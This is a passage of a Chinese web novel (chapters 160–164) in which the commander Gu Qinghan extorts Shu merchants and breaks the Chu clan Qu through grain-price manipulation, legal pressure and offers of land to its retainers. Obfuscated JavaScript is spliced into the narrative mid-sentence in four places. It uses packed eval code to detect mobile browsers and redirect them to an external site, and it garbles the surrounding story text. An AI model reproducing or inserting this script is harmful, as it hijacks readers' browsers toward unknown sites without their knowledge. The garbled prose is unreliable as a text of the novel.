信中说,顾大都督深知蜀中各位家主慷慨好义,不忍用“税”这种冰冷的字眼来伤害彼此的和气。他愿意提供一个更好的方式。大都督府正在筹备“南疆建设钱庄”,各位家主可以自愿“入股”,成为钱庄的股东。凡入股者,名下商队未来十年,皆可免除“保境安民税”。至于入股多少……信的末尾,附上了一份清单。 刘氏,五十万钱。张氏,三十万钱……每一家,都标得明明白白。 “噗——” 刘赫再也忍不住,一口老血喷了出来。 这哪里是入股,这分明是勒索!而且是给你定好了价码,让你自己把钱送上门! 顾清寒人还没到蜀郡,仅仅派了一个文弱书生,就用一纸圣旨,将整个富庶的蜀中之地,**于股掌之上。 这位新上任的南征大都督,用一种所有人都没想到的方式,收了他上任之后的第一笔“税”。 第160章 蜀犬悲鸣,麒麟点金 第一百六十章蜀犬悲鸣,麒麟点金 蜀郡,刘府。 书房内,死气沉沉。前一刻还价值连城的古董瓷器,如今已是满地碎片。蜀中最顶尖的豪商巨贾们,个个面如死灰,像一群被霜打了的茄子,再没了半点平日里的意气风发。 “跟他拼了!”一个年轻气盛的家主猛地一拍桌子,压低了声音,眼中闪着凶光,“咱们凑钱,去江湖上请最好的刺客!我就不信,他顾清寒是铁打的,杀不死!” “蠢货!”刘赫坐在主位上,整个人像是被抽了骨头,有气无力地骂了一句,“刺客?你当玄甲军是摆设吗?他刚平了百越,杀得人头滚滚,正愁没借口把刀伸进咱们蜀郡来!你现在派刺客,是怕他师出无名,主动把脖子送上去给他砍吗?” 那年轻家主被骂得一哆嗦,顿时没了声音。 是啊,人家手里攥着皇帝的圣旨,背后站着嗜血的军队。他们这些商人,除了钱,还有什么?可现在,人家连他们最后的依仗,都要用最“合法”的方式,抢个干干净净。 “难道……就这么把钱送过去?”有人不甘心地哀嚎,“那可是我们几代人积攒下的家业啊!” “不给钱,就等着每天被抽三成的血。”刘赫闭上眼睛,脸上满是绝望的苦涩,“一个是立刻死,一个是慢慢被凌迟。你们说,怎么选?” 书房里,再没人说话了。只剩下粗重的呼吸声和压抑的啜泣。他们终于明白,自己面对的,根本不是一头闯入南方的蠢狼,而是一条能吞食天地的巨**。它用皇帝的旨意,将整个蜀郡都圈成了它的猎场,而他们,就是被圈养在里面,待宰的肥猪。 …… 蜀道关卡。 文远依然悠闲地坐在帐中,面前的茶水已经换了第三泡。他似乎很有耐心,一点也不急。 刘赫来了。带着一群同样面如死灰的蜀中豪商。他一夜之间仿佛老了十岁,曾经挺得笔直的腰杆,如今也塌了下去。 “文远先生。”刘赫挤出一个比哭还难看的笑容,对着文远拱了拱手。那姿态,谦卑得像个来店铺讨账的小管事。 文远放下书卷,温和地回了一礼:“刘家主,各位家主,何必如此客气。可是商议好了?” “先生,”刘赫搓着手,艰难地开口,“大都督要的数目……实在是太大了。我等并非不愿为大都督分忧,只是……只是这般巨款,实在会动摇蜀郡的根本。还望先生能在大都督面前美言几句,稍稍……稍稍宽限一二?” 他身后的商人们,也都用一种近乎乞求的目光看着文远。 文远脸上的笑容依旧和煦,说出的话却像冬日的冰棱子,又冷又硬。 “刘家主,你弄错了一件事。”他端起茶杯,轻轻吹了吹热气,“我家主公,不是在与各位做生意,更不是在请求各位的资助。他是在通知各位,供养一支能保护你们身家性命的军队,需要多少钱。” 他放下茶杯,看着刘赫那张瞬间煞白的脸。 “当然,主公宅心仁厚,也体谅各位的难处。”文远话锋一转,似乎松了口。 刘赫等人眼中顿时燃起一丝希望。 “这样吧,”文远沉吟片刻,像是在做什么重大的决定,“‘入股’的钱款,可以分三个月缴清。这,是我能为各位争取到的,最大的让步了。” 众人眼中的希望,瞬间熄灭,变成了更深的绝望。 分期付款? 这算哪门子的让步?这分明是把刀架在脖子上,还体贴地问你,是想一刀了断,还是想多喘三口气再死。 刘赫身子一晃,差点没站稳。他知道,再无半点转圜的余地。他从牙缝里,一个字一个字地挤出那句话。 “我等……遵……大都督令。” …… 九原,郡守府。 当蜀郡豪商们联名签署的“入股协议书”,连同第一批运到的金银珠宝,被送到议事厅时,整个大厅都沸腾了。 “俺的亲娘姥姥!”李山河捧着一箱金灿灿的金饼,口水都快掉下来了,“侯爷!咱们发了!这下真的发了!咱们能给每个兄弟都换上玄甲,能把河西的马场都买下来!咱们还能……还能给您用纯金盖个茅房!” “哈哈哈!”满堂将领哄堂大笑,一个个看着那些晃眼的财宝,眼睛都直了。 顾清寒坐在主位上,只是淡淡地笑着,没什么表示。 他看向身旁的姜瞳,柔声问道:“瞳儿,你看我这第一笔税,收得如何?” “不如何。”姜瞳掩嘴轻笑,美目流转,带着一丝狡黠,“夫君想要的,又不是这些黄白之物。” 顾清寒哈哈大笑,站起身来,走到李山河身边,随手拿起一块金饼掂了掂,又扔回箱子里。 “瞳儿说得对。”他环视着众人,目光锐利,“我想要的,不是他们的钱。” 李山河挠了挠头,一脸困惑:“那您费这么大劲,图个啥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754206|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “我图的,是他们的膝盖。”顾清寒的声音不大,却让整个大厅瞬间安静下来,“钱,没了可以再赚。可膝盖一旦跪下去了,就很难再站起来了。” 他走到沙盘前,手指在蜀郡的位置上重重一点。 “我把他们的膝盖打断了,让他们跪着把钱给我送过来。从此以后,这南方的地界上,谁说了算,他们心里就该有数了。”顾清寒的嘴角,勾起一抹冰冷的弧度,“这,比用刀子去挨个说服他们,要省事得多。” 众人这才恍然大悟,再看向那些财宝时,眼神已经变了。 那不是钱,那是蜀中豪族们,被生生打断的傲骨。 …… 咸阳,客栈。 陆佩奇已经不知道该用什么表情来面对嬴政了。他只是跪在那里,用一种近乎梦呓的语调,复述着蜀郡发生的一切。 “陛……陛下……他……他成功了。没费一兵一卒,只是派了一个书生,念了一遍您的圣旨……蜀郡那些富可敌国的豪商,就……就哭着喊着,把钱都送过去了……这……这简直是点石成金的仙术啊!” 嬴政正拿着一块柔软的绸布,慢条斯理地擦拭着那枚刚刚雕琢完成的麒麟玉佩。听完陆佩奇的汇报,他手上的动作停都未停。 直到将那玉佩擦得温润通透,他才抬起头,脸上露出了一个极其舒畅的笑容。 “仙术?”嬴政笑了起来,那笑声里满是欣赏,“不,陆统领,那不叫仙术,那叫权术。” 他将玉佩放在桌上,端起那杯早已凉透的茶水。 “朕还以为,他会像屠睢那蠢货一样,提着刀就冲进成都,杀得血流成河。没想到,他倒是先学会了怎么用朕给他的这根权杖。”嬴政的目光变得深邃而悠远,“**,是屠夫的手段。诛心,才是君王的手段。” 他将杯中茶水一饮而尽,发出一声满足的叹息。 “这茶,有意思。前一泡,是铁锈的腥味。这一泡,却品出了金子的香气。” 嬴政站起身,走到窗边,望着南方那片云雾缭绕的天空,嘴角勾起一抹无人能懂的弧度。 “不过,光有金子,还不够。朕的这杯新茶,还缺几味最关键的料。” “传朕的密令,”他头也不回地吩咐道,“告诉清寒,蜀中的钱,只是开胃的小菜。” “朕想看看,他什么时候,能把楚地那些不安分的老世族,也变成他茶杯里的新茶叶。” 第161章 新茶陈酿,楚地风起 第一百六十一章新茶陈酿,楚地风起 九原,郡守府。 那名来自咸阳的信使,再一次出现在了议事厅内。他带来的,依然是“赵老伯”那封熟悉的,带着几分霸道和随性的亲笔信。 顾清寒展开信纸,只见上面写道: “贤侄,蜀中之金,虽能提神,却少了一份陈酿的回甘。听闻楚地旧茶,藏于深宅,经百年风霜,滋味最是醇厚。只是茶叶性烈,恐会扎手。不知贤侄,可有品茶的雅兴与手段?” 李山河伸着独眼凑过来看,看完挠了挠头,一脸的想不通:“这老伯,嘴也太刁了!喝了咱们的酒,又要南方的茶。喝了蜀郡的茶,又惦记上楚地的茶。那楚地的茶,是百年陈茶,说白了不就是一堆发了霉的烂叶子吗?有啥好喝的?” 厅内众人闻言,都笑了起来。 只有文远和姜瞳,脸上的笑容渐渐收敛,转为一丝凝重。 顾清寒将信纸递给姜瞳,后者看过,美目中闪过一丝忧色:“夫君,这位老伯,这次给咱们出的,可是一道真正的难题。” “哦?”李山河更糊涂了,“不就是要点茶叶吗?派人去买就是了,多大点事?” “买?”文远摇着羽扇,苦笑一声,“李将军,这楚地的‘茶’,可不是用钱能买到的。” 他走到巨大的沙盘前,手指点在了长江中游那片广阔富庶的土地上,那里,曾是六国之中最强大的楚国。 “主公,楚地,非蜀郡可比。”文远的神色变得严肃起来,“蜀郡的豪商,是富而不贵。他们有钱,却没有根基,更没有胆子。所以我们一纸圣旨就能将他们压得跪地求饶。” “而楚地的那些世家大族,却是贵而不从。他们是旧楚的王孙贵胄,盘踞地方数百年,根深蒂固。他们的财富,不是金银,而是土地和人口。每一家,都有自己的部曲家兵,在他们的封地上,他们就是土皇帝。大秦的律法,到了那里,都要打个折扣。” 姜瞳也走上前,轻声补充道:“而且,楚人多思旧,心怀故国,最是排外。当初王翦将军灭楚,坑杀降卒四十万,这笔血债,他们可都记着呢。对他们用强,恐怕会激起剧变。” 议事厅内的气氛,瞬间变得沉重。 众将这才明白,这次的目标,不再是蜀郡那些可以随意拿捏的肥羊,而是一群盘踞在自己洞穴里,獠牙锋利的老虎。 “那又如何?”李山河把脖子一梗,独眼中凶光毕露,“管他什么王孙贵胄,不听话,咱们就提着刀进去,杀他个天翻地覆!看是他们的骨头硬,还是咱们的刀硬!” “匹夫之勇。”顾清寒淡淡地吐出四个字,让李山河瞬间蔫了下去。 他站起身,走到沙盘前,看着那片绿色的土地,脸上没有半分畏惧,反而露出了一丝猎人般的兴奋。 “对付一群自以为是的老虎,最好的办法,不是冲进洞里跟它硬拼。而是先把它洞外的水草都烧光,断了它的食物,再用烟把它熏出来,等它头晕眼花的时候,一刀割断它的喉咙。” 顾清寒的目光扫过众人,声音不大,却带着一股冰冷的决断。 “文远!” “属下在!” “我要你把黑冰台安插在楚地的探子,全都给我用起来。查!把那些楚地大族的老底都给我翻个底朝天!谁家私藏了兵甲,谁家侵占了官田,谁家跟百越的叛匪有过来往。给我找一个最肥、罪证最足的,当咱们泡茶用的第一片‘茶叶’!” “属下明白!”文远眼中精光一闪。 “再传令牛辅!”顾清寒的手指,沿着长江划出一条线,“让他带着那群已经磨利了牙的疯狗,沿着江水,在南郡和长沙郡的边境上‘游猎’。不用打,就在那里晃悠,我要让那些楚地大族每天一睁开眼,就能看到我们狼崽军的旗帜!” “最后,”顾清寒的目光转向了角落里一名负责钱粮的**官,“告诉田儋,用从蜀郡刮来的钱,给我去楚地买粮!不用囤积,一边买,一边就地平价甚至折价卖给当地的穷苦百姓。我要让楚地的粮价乱起来,我要让那些大族手里的粮食,变成烫手的山芋!也让楚地的穷人知道,谁,才是给他们饭吃的人!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759198|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一套组合拳下来,整个议事厅内,落针可闻。 文攻,武吓,商伐。 三管齐下,招招致命,却又让人抓不到半点把柄。 众将听得目瞪口呆,他们这才明白,自家侯爷的心眼,比那百越的丛林还要复杂,还要致命。 “娘的,听着就头大。”李山河憋了半天,终于还是忍不住嘟囔了一句,“不过俺听明白了。就是先饿他们,再吓他们,最后再找个借口砍了他们。俺就觉得,还是最后一步最痛快!” 满堂哄笑,沉凝的气氛为之一松。 …… 咸阳,客栈。 陆佩奇跪在地上,用一种近乎颤抖的声音,复述着他刚刚收到的、关于顾清寒应对楚地策略的密报。 他每说一句,心里的寒意就重一分。 太狠了,也太毒了。这已经不是在打仗了,这是在挖一个巨坑,要将整个楚地世族,都活生生地埋进去。 嬴政背对着他,正拿着一块小巧的铜锉,细细打磨着一具战车模型的轮毂。 他听完陆佩奇的汇报,连手上的动作都没有停顿。 “陆统领,你可知,这天下最坚固的城池,是如何攻破的?”嬴政的声音,平淡而悠远。 陆佩奇茫然地摇了摇头。 “不是用投石车去砸,也不是用人命去填。”嬴政轻轻吹掉轮毂上的铜屑,转过身来,那双深邃的眼睛里,满是欣慰的笑意,“而是从内部,让它的根基先烂掉。” 他将那具精致的战车模型,稳稳地放在一张摊开的地图上,正好压在了楚国的故都,郢陈的位置。 “楚人自傲其风骨,哼,在朕看来,不过是历经百年风雨,早已被虫蛀空了的朽木罢了。” 嬴政的嘴角,勾起一抹无人能懂的弧度。 “朕的麒麟儿,终于学会了,如何当一个伐木的樵夫。” 他端起桌上那杯金黄色的蜀茶,慢悠悠地品了一口,随即又放了下来,似乎有些嫌弃。 “这杯陈年的老茶,看来,很快就能品到了。” 第162章 投石问路 第一百六十二章投石问路 楚地,寿春。 这里曾是楚国的都城,即便在大秦一统天下之后,那股根植于骨子里的骄傲,也未曾消散半分。 项氏府邸,作为旧楚王族的分支,更是这份骄傲的中心。 府内,一场宗族议事正在进行。主位上坐着的,是项梁的族弟,项庄。他年近四旬,面容沉肃,眉宇间自有一股逼人的英气。 “那个北地来的顾清寒,真是越来越放肆了!”一个年轻的项氏子弟满脸涨红,愤然拍案,“在蜀郡敲诈商贾也就罢了,如今竟敢把手伸到我们楚地来!真以为我们是那些满身铜臭的软骨头吗?” “哼,一个只会在草原上放羊的牧童,得了几分军功,便不知天高地厚。”另一人附和道,语气中满是轻蔑,“听说他派了五千匈奴降卒,在我们南郡边境晃悠。怎么?想吓唬谁?我项氏子弟三千,哪个不是以一当十的好汉,会怕他那群没开化的野人?” 厅内顿时一片嘈杂,群情激奋,仿佛下一刻就要点齐兵马,去会一会那位新上任的南征大都督。 “都住口!” 项庄一声低喝,声音不大,却像一盆冷水,瞬间浇灭了众人的火气。 他环视着这群热血上头的族人,缓缓开口:“狮子搏兔,亦用全力。你们连对手的底细都没摸清,就敢在此狂吠?蜀郡的豪商是蠢,但能让他们哭着把钱交出来的,会是个简单的莽夫吗?” 他站起身,走到堂中,目光变得锐利起来:“他把军队摆在边境,却不越雷池一步。他在楚地四处高价收粮,转手又平价卖出。你们看,这像是一个莽夫的手笔吗?” 众人面面相觑,哑口无言。 项庄冷哼一声:“他这是在投石问路。我们现在要做的,不是冲上去跟他硬碰,而是坐稳了,看看他这颗石头,到底想砸向谁。” …… 项庄的判断没有错,顾清寒确实在投石问路。 而他扔出的第一颗石头,就是粮食。 田儋调动了从蜀郡刮来的海量资金,在整个楚地掀起了一场前所未有的粮食战争。一支支商队,打着九原商会的旗号,深入楚地的各个县乡,以高出市价两成的价格,疯狂收购粮食。 那些被世家大族压榨得喘不过气的小地主和自耕农,何曾见过这等好事?他们欢天喜地地将自家余粮卖了个精光,揣着沉甸甸的钱袋,第一次觉得日子有了盼头。 紧接着,这些被高价收购来的粮食,又被迅速运到各大城镇,以低于市价一成的价格,敞开售卖。 城里的贫苦百姓和雇工们,彻底疯了。 “听说了吗?城东的九原粮铺,一斗米才卖八钱!” “我的天!比屈大善人家的粮价还便宜三钱!快去抢啊!” 一时间,各大世家开设的粮铺门可罗雀,而九原商会的粮铺前,却排起了长龙。百姓们扛着一袋袋便宜粮食,嘴里念叨的,不再是某某员外的恩典,而是那个只闻其名、未见其人的“顾大都督”。 民心,这杆无形的秤,在悄无声息间,开始倾斜。 而那些囤积了海量粮食,准备待价而沽的楚地大族们,则像是被人当头打了一闷棍。卖?现在卖就是血亏。不卖?眼睁睁看着粮食在仓库里发霉,民心却被那个顾清寒一点点收走,这比亏钱还让他们难受。 …… 南郡与长沙郡交界。 五千“狼崽军”的营地,就扎在能远眺长江的地方。 这些曾经在草原上纵横驰骋的汉子,如今成了楚地百姓眼中最奇特的风景。他们不抢掠,不扰民,每天除了操练,就是在山林里打猎,然后把打来的野味拿到附近的集市上,换些酒水和零嘴。 李山河扛着一头刚猎杀的野猪,扔在牛辅脚下,嘴里骂骂咧咧:“牛哥!俺快憋出鸟来了!咱们是狼,不是看家狗!天天在这儿遛弯打猎,骨头都快生锈了!什么时候才能去干**一票?” 牛辅正用一块石头磨着自己的大刀,闻言头也不抬地哼了一声:“急什么?这是顾少的命令。顾少让咱们遛弯,咱们就遛弯。等他让咱们咬人了,再张嘴也不迟。” 他抬起头,看了一眼不远处那片富庶的土地,独眼中闪过一丝渴望。 他虽然不懂什么叫“投石问路”,但他知道,主公的耐心,通常都意味着一场更血腥的盛宴。 …… 九原,郡守府。 文远风尘仆仆地从楚地归来,脸上带着一丝成竹在胸的笑意。 “主公,石头扔下去了,水里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759199|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼,已经乱了。”他将一沓厚厚的竹简呈到顾清寒面前。 “楚地各大族,因粮价之事,已经起了内讧。有的小族扛不住,偷偷将粮食卖给了我们,被大族发现,差点火并。牛将军的‘游猎’,也让靠近边境的几个大族坐立不安,已经开始加固自家坞堡了。” 顾清寒翻看着竹简上的情报,嘴角微微上扬。 文远走上前,从那沓竹简中抽出最上面的一卷,轻轻放在桌上:“而且,我们找到了最合适的那片‘茶叶’。” “哦?” “楚地屈氏。”文远眼中精光一闪,“屈原后人,在楚地名望极高,族长屈平,更是以‘仁善’闻名。但根据黑冰台的密报,此人最为贪婪,暗中蓄养的私兵超过五千。最关键的是,”文远的声音压低了几分,“过去三年,他一直通过水路,偷偷向百越的叛匪走私兵器和铁料,以换取山中的珍宝。这是通敌叛国的铁证。” 顾清寒拿起那卷记录着屈氏罪证的竹简,脸上的笑容变得冰冷起来。 好一个名门之后,好一个“仁善”长者。 当真是泡茶的绝佳材料。 …… 咸阳,客栈。 陆佩奇跪在地上,汇报着楚地发生的一切,他的声音里,除了敬畏,更多的是一种难以言喻的震撼。 经济战,心理战,情报战……环环相扣,不动声色间,就将庞大如楚地世族,搅得暗流汹涌。 嬴政背对着他,正专注地往一具精巧的铜制战车模型上,安装最后一个轮子。 等陆佩奇说完,他才轻轻吹掉轮子上的铜屑,将那战车模型稳稳地放在一张摊开的地图上,正好压在了楚国故都——郢陈的位置。 “陆统领,你看,”嬴政转过身,那双古井无波的眼睛里,满是欣赏的笑意,“这棋盘之上,车马炮,各有其用。光有‘车’的横冲直撞,是莽夫。懂得先用‘卒’过河,搅乱敌阵,再伺机动‘车’将军,方为高手。” 他伸出手指,轻轻拨动了一下那具战车模型。 “朕的这杯陈年老茶,终于要开泡了。” 嬴政的目光变得锐利而充满期待。 “传信给清寒。” “就说,这第一片茶叶,朕要他泡得又香,又提神。” 第163章 **诛心,茶敬王侯 第一百六十三章**诛心,茶敬王侯 九原,郡守府。 议事厅内的空气,因顾清寒那一道道命令而变得肃杀。 他拿起那卷记录着屈氏罪证的竹简,没有交给李山河,也没有交给牛辅,而是递给了一直站在文远身后,沉默如影的石猛。 “石将军。” “末将在!”石猛上前一步,声如洪钟。他不像李山河那般跳脱,也不像牛辅那般张扬,整个人就像一块坚硬的磐石,沉稳得可怕。 顾清寒将竹简交到他手中:“你带五百玄甲,即刻南下。不用去见牛辅,直接去寿春郡守府。把这份‘礼物’,亲手交给郡守大人。告诉他,南征大都督府,怀疑屈氏通敌,请他配合调查。” 石猛接过竹简,没有多问一个字,只是重重地点了点头:“末将遵命!” “侯爷,”李山河在一旁看得着急,忍不住插嘴,“您让石猛去送个信?那屈家不是有五千私兵吗?万一他们狗急跳墙,把郡守府给围了,石猛这五百人不就成了肉包子打狗?” 顾清寒看了他一眼,淡淡地说道:“我就是要他狗急跳墙。” 他转向文远:“牛辅那边,可以动了。告诉他,别急着攻城,先去把屈氏在长江沿岸的几个私港给我占了。那是他们走私的命脉,也是他们的钱袋子。断了他的财路,再告诉他,他的罪证已经摆在了郡守的案头上。” 顾清寒的嘴角,勾起一抹冰冷的笑意:“我倒想看看,这位以‘仁善’闻名的屈大善人,在钱袋子被抢,脖子又被架上刀的时候,还能不能继续装成一副菩萨心肠。” “娘的,够毒!”李山河听得一愣一愣的,最后佩服地竖起了大拇指,“先用官府的罪名把他框住,让他不敢乱动。再派牛哥去抄他的家底,断他的后路。这是要把人活活逼疯啊!侯爷,您这心眼儿,比咱九原的铁矿洞还多,拐弯抹角的,一不小心就出不来了。” 满堂将领闻言,都是一阵心领神会的哄笑。他们看着自家侯爷,眼神里除了敬畏,更多了几分狂热。跟着这样的主公,打仗都打得比别人舒坦。 …… 楚地,寿春。 项氏府邸内,项庄正独自一人,对着一盘棋局沉思。 一名族人匆匆闯入,神色慌张:“庄爷,不好了!顾清寒的人,动了!” 项庄执黑子的手微微一顿,抬起头,眼神平静:“是牛辅那五千兵马?” “不是!”那族人喘着粗气,“是另一拨人,黑色的铠甲,直接去了郡守府!而且……而且牛辅的狼崽军,突然出动,一夜之间,就把屈氏在江边的三个码头给端了!屈家的护卫,连个屁都没敢放!” “啪嗒。”项庄手中的黑子,落在棋盘上,截断了白子的一条大龙。 他缓缓站起身,脸上露出一丝了然。 “好一招‘明修栈道,暗度陈仓’。”项庄的语气里,竟带着几分欣赏,“所有人都盯着牛辅的五千人,以为他要用强。结果他真正的杀招,却递进了郡守府的大门。先占法理,再行兵事。这位冠军侯,果然名不虚传。” “那……那我们怎么办?要不要派人去帮屈家一把?”族人急切地问。 “帮?”项庄冷笑一声,走到窗边,看着远处屈氏府邸的方向,“怎么帮?帮他通敌叛国吗?顾清寒这一手,是阳谋。他把屈氏的罪证摆在了台面上,谁敢去沾,谁就得惹一身骚。我们现在要做的,就是坐山观虎斗。” 他顿了顿,眼中闪过一丝复杂的神色:“也让我们楚地的这些老家伙们都看清楚,过江的,不是一头猛龙,而是一头**不吐骨头的麒麟。” …… 屈氏府邸,已经乱成了一锅粥。 “家主!不好了!江边的码头被牛辅的人占了!我们运出去的货,全被扣下了!” “家主!郡守府派人来了,说是……说是南征大都督府有公文,要您立刻去郡守府问话!” “家主!外面都传疯了,说我们……我们通敌叛国!” 往日里富丽堂皇的议事厅,此刻充斥着惊恐的尖叫和哭喊。 主位上,须发皆白、仙风道骨的屈平,那张一向以“仁善”示人的脸上,再也挂不住温和的笑容。他的手在微微颤抖,眼中布满了血丝。 他算到顾清寒会动手,却没算到,对方的手段如此狠辣,如此不留情面。 一上来,就是抄家、断路、定罪,三板斧齐下,招招都砍在他的命门上。 “慌什么!”屈平猛地一拍桌子,强行镇定下来,声音却有些嘶哑,“他顾清寒想凭一纸空文就给我定罪?他以为我屈氏是蜀郡那些商贾吗?传我命令!” 他站起身,那张“仁善”的脸,在阴影中显得有些狰狞。 “召集府中所有部曲护卫!封锁府门,任何人不得进出!再去告诉郡守,老夫偶感风寒,卧床不起,概不见客!” “家主!这……这不是公然抗命吗?”一名管事颤声问道。 “抗命?”屈平冷笑起来,那笑声里满是疯狂,“他都已经把刀架在我脖子上了,我还跟他讲什么王法?他要战,我便战!我屈氏五千子弟,皆是悍不畏死的勇士!我倒要看看,他那五千匈奴降卒,能奈我何!” 这位在楚地扮演了几十年大善人的屈氏家主,终于在生死存亡的关头,撕下了伪善的面具,露出了嗜血的獠牙。 然而,**,顾清寒等的,就是他露出獠牙的这一刻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778203|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>就在屈氏府邸大门紧闭,五千私兵集结,摆出死守架势的第二天。 一支军队,出现在了寿春城外。 不是牛辅的狼崽军,而是石猛率领的那五百玄甲。 他们没有叫阵,没有攻城,只是在城外十里处,安营扎寨。然后,石猛做了一件事。 他命人将一面巨大的白布,悬挂在营前的旗杆上。白布上,用黑墨写着一行血淋淋的大字。 “奉南征大都督令:屈氏通敌,罪在族长,胁从不问!凡屈氏部曲,三日内弃械出降者,既往不咎,分发田地!” 这一招,比直接攻城,要狠毒百倍。 这是诛心! 屈氏的五千私兵,大多是依附屈家的佃户和家奴。他们卖命,是为了吃一口饱饭。如今,冠军侯的人不仅告诉他们,你们的主子是个叛**,还承诺只要投降,就分给你们自己的田地! 一边是跟着一个注定要完蛋的叛贼死战,一边是放下武器就能拥有自己的土地。 这道选择题,连三岁孩童都会做。 屈府之内,人心,彻底散了。 …… 咸阳,客栈。 陆佩奇的身体,已经不是在颤抖,而是在痉挛。他跪在地上,几乎是用尽了全身的力气,才把楚地的情报,一字一句地汇报给嬴政。 抄家,定罪,围城,诛心。 一套组合拳下来,行云流水,狠辣至极。那个在楚地根深蒂固,经营数百年的屈氏,就像一个被高手**于股掌之间的木偶,连一丝反抗的余地都没有,就被逼上了绝路。 陆佩奇甚至可以想象,此刻的寿春城,那位屈大善人,是何等的绝望与疯狂。 嬴政背对着他,手中正拿着一把小小的刷子,专注地给那辆完工的战车模型,刷上最后一层漆。 他静静地听完,没有任何表示。 直到陆佩奇说完,他才放下刷子,拿起那辆在灯光下闪烁着冰冷光泽的铜制战车,满意地端详着。 “陆统领,”嬴政转过身,脸上是一种近乎残忍的欣赏,“**,有三境。” “下者,杀其身。中者,断其根。上者,诛其心。” 他将那战车模型,轻轻放在地图上,车轮碾过楚地的山河。 “我那麒麟儿,看来已经深谙此道了。” 嬴政端起桌上那杯已经凉透的蜀茶,闻了一下,便嫌恶地放到了一边。 他走到窗边,看着漆黑的夜空,仿佛能看到千里之外那座正在分崩离析的府邸,嘴角勾起一抹意味深长的笑意。 “传信给清寒。” “告诉他,这第一泡茶,火候不错。” “朕,等着他**敬酒。” 第164章 血染寿春,**敬酒 第一百六十四章血染寿春,**敬酒 楚地,寿春。屈氏府邸。 昔日门庭若市的府邸,此刻已成了一座巨大的牢笼,从内部开始腐朽、崩塌。 那面悬挂在城外,随风飘扬的巨大白布,像一道催命的符咒,将府内五千私兵的心,搅得天翻地覆。 “都听到了吗?只要咱们出去,就能分到田!自己的田!”一个脸膛黝黑的汉子,压低了声音,眼中闪烁着渴望的光芒。他是屈家的佃户,祖祖辈辈都在为屈家耕种,到头来连一捧属于自己的土都没有。 “可……可那是临阵倒戈,是背主求荣啊!”旁边一个年轻人还在犹豫,话虽这么说,眼神却不住地往府外瞟。 “背主?”黑脸汉子嗤笑一声,啐了口唾沫,“他屈平把咱们当人看了吗?他通敌叛国,是要把咱们五千多条命,都给他陪葬!老子给他卖命,是为了养家糊口,不是为了跟着他一起掉脑袋!” 这番话,说进了所有人的心坎里。 忠诚?在活下去和拥有自己土地的巨大诱惑面前,忠诚显得那么苍白无力。人心散了,队伍就不好带了。起初只是窃窃私语,很快就变成了明目张胆的争吵。一些屈氏的家生子,还想用家法维持秩序,结果却被一群红了眼的佃户围住,打得头破血流。 府邸深处,屈平听着外面越来越嘈杂的喧闹,那张曾经“仁善”的脸,已经因恐惧和愤怒而彻底扭曲。 “废物!都是一群废物!”他像一头困兽,在华丽的厅堂里来回踱步,将一个心爱的青铜酒樽狠狠摔在地上,“传令下去!谁敢再妖言惑众,杀无赦!给我杀!” 然而,这道命令,非但没能稳住局势,反而成了压垮骆驼的最后一根稻草。当几名忠心耿耿的护卫,真的拔刀砍向几个带头鼓噪的佃户时,积压的怒火,瞬间被引爆了。 “兄弟们!他不给咱们活路!反了!” 一声怒吼,府内彻底大乱。厮杀声、惨叫声、哭喊声混成一片。这场维持了数百年的主仆关系,在生死和利益面前,轰然倒塌。 第三日,清晨。 当第一缕阳光照在寿春城头时,屈氏府邸那扇紧闭了三天的朱红大门,在一阵“轰隆”声中,被人从里面缓缓推开。 走出来的,不是屈氏的家主,而是一群衣衫带血、眼神复杂的佃户。他们手里没有武器,只是用绳索,拖着一个披头散发、满脸血污的老者。 正是屈氏家主,屈平。 他被自己的家奴和佃户们,像拖死狗一样,拖到了城外玄甲军的阵前。 石猛站在阵前,面无表情地看着这一幕,仿佛一切都在他的预料之中。他没有立刻上前,只是静静地等着。 直到屈氏府邸内,走出了黑压压的人群,将兵器扔在地上,堆成了一座小山。 “将军!我等……我等愿意归降!罪魁祸首屈平,已在此处!”一名领头的汉子跪倒在地,声音颤抖。 